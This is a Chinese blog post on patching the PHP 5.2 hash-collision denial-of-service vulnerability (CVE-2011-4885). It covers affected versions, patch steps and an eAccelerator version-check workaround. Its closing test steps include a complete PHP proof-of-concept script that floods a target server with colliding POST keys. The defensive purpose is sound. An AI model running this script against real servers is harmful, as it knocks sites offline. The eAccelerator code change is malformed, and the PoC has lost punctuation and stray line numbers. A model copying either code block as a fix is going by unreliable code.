修复php-5.2.* hash漏洞

前日有信息显示当前包括PHP、Java、Ruby在内的很多语言版本存在漏洞,PHP官方开发组成员Laruence(新浪微博)表示攻击者可以通过构造Hash冲突实现拒绝服务攻击,并提供了实例。这个攻击方法危害很高,攻击成本也很小,一个台式机可以轻松搞垮数十台、上百台服务器。
 
此漏洞一出,相当于随便一个攻击者就可以DDoS掉世界上的大部分网站!危害等级绝对是核弹级别。因此,PHP官方开发组紧急发布了补丁,请大家尽速修补。
 
PHP方面,<= 5.3.8, <= 5.4.0RC3的所有版本均会受此漏洞影响。PHP 5.3.9和PHP 5.4.0已经包含了针对此漏洞的补丁,但由于两个版本目前仍然在RC状态,无法用于生产服务器升级。至于PHP 5.2,官方开发组表示不会为了这个漏洞发布新版。
修复php-5.2.+hash漏洞 - leijie131421@126 - Steven
官方目前提供的解决方案是给自己的PHP环境打一个Patch,5.2和5.3都可以使用。Patch地址如下:
 
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars
 
使用方法:
 
1. cd 到 php src,运行: patch -p1 < php-5.2.*-max-input-vars.patch 2. 最新的 PHP 5.3.9-RC4 已经修复了本漏洞,5.3 的用户可以直接升级到 5.3.9-RC4 。 当然,如果您不想更新到一个RC版本,那么也可以很简单的修改上面这个补丁,应用到 5.3 的相应版本上。
 
Laruence还建议其他语言java, ruby等,请各位也预先想好对策,限制post_size是治标不治本的方法,不过可以用来做临时解决方案。
 
临时解决方案参考:五四陈科学院
 
此外,微软也已经紧急发布了更新,修复了ASP.net上的该漏洞:
 
查询清单
 
目前已知的受影响的语言以及版本有::
 
·  Java, 所有版本
 
·  JRuby <= 1.6.5
 
·  PHP <= 5.3.8, <= 5.4.0RC3
 
·  Python, 所有版本
 
·  Rubinius, 所有版本
 
·  Ruby <= 1.8.7-p356
 
·  Apache Geronimo, 所有版本
 
·  Apache Tomcat <= 5.5.34, <= 6.0.34, <= 7.0.22
 
·  Oracle Glassfish <= 3.1.1
 
·  Jetty, 所有版本
 
·  Plone, 所有版本
 
·  Rack, 所有版本
 
·  V8 JavaScript Engine, 所有版本
 
不受此影响的语言或者修复版本的语言有::
 
·  PHP >= 5.3.9, >= 5.4.0RC4
 
·  JRuby >= 1.6.5.1
 
·  Ruby >= 1.8.7-p357, 1.9.x
 
·  Apache Tomcat >= 5.5.35, >= 6.0.35, >= 7.0.23
 
·  Oracle Glassfish, N/A (Oracle reports that the issue is fixed in the main codeline and scheduled for a future CPU)
 
·  CVE: CVE-2011-4885 (PHP), CVE-2011-4461 (Jetty), CVE-2011-4838 (JRuby), CVE-2011-4462 (Plone), CVE-2011-4815 (Ruby)
 
修补步骤:
 
提示:在修复之前,可以按照下面 测试步骤 模拟攻击一次,看看效果
 
1、 下载补丁包
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars
 
2、cd 到php安装的源码包目录(安装php时释放的目录,已configure过的,在这里就不用configure了,直接make && make install)
 
3、 打补丁
patch -p1 < php-5.2.*-max-input-vars.patch
 
4、 make && make install  注意备份原程序!
 
5、 安装完后,重启php即可
 
 
问题处理:
打上临时补丁后,发现eAccelerator不好使了。
执行php -v 会提示
[eAccelerator] This build of "eAccelerator" was compiled for PHP version 5.2.17. Rebuild it for your PHP version (5.2.17p1) or download precompiled binaries.
主要是因为php版本号改变了导致eAccelerator报错。
找了一下eAccelerator的源码,发现是eaccelerator.c文件中,有检查php版本号的代码,主要是encode_version这个函数,找到
 
    
    
    
    
  1. else if (strncasecmp(buf, "beta", 4) == 0) { 
  2.          a = 3; 
  3.         sscanf(buf, "beta%u", &b); 
  4.  
  5. 这行,在下面添加如下代码 
  6.  
  7. else if (buf, "p1%u", &b) { 
  8.        a = 0; 
  9.        b = 0; 
提示:文中提到的ea版本是0.9.6.1+ 的,每个版本的代码可能不一样,选择这个可以解决问题
 
重新编译eAccelerator,再次执行 php -v,已无报错,重启cgi,eAccelerator目录已有重新重成的文件,
 
测试步骤:
1、服务器端不需任何配置,在攻击机放置一个dos.php文件,内容如下:
 
      
      
      
      
  1. <?php 
  2. $host = 'http://www.xxx.org/index.php'; 修改为服务器任何一个可以访问的php文件 
  3. $data = ''
  4. $size = pow(2, 15); 
  5.   
  6. for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size
  7. $data .= '&array[' . $key . ']=0'
  8.  
  9. $ret = curl($host, ltrim($data,'&')); 
  10. var_dump($ret); 
  11. function curl($url, $post, $timeout = 30){ 
  12.     $ch = curl_init(); 
  13.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
  14.     curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  15.     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5); 
  16.     curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:')); 
  17.     curl_setopt($ch, CURLOPT_URL, $url); 
  18.     curl_setopt($ch, CURLOPT_POST, true); 
  19.     curl_setopt($ch, CURLOPT_POSTFIELDS, $post); 
  20.     $output = curl_exec($ch); 
  21.     if ($output === falsereturn false
  22.     $info = curl_getinfo($ch); 
  23.     $http_code = $info['http_code']; 
  24.     if ($http_code == 404) return false
  25.     curl_close($ch); 
  26.     return $output
  27. ?>  
2、运行这个脚本即可,注意观察被攻击的服务器cpu利用率(top指令)。
 
 
 
 
 

你可能感兴趣的:(php漏洞,hash漏洞,php-5.2漏洞,phphash漏洞,eaccelerato)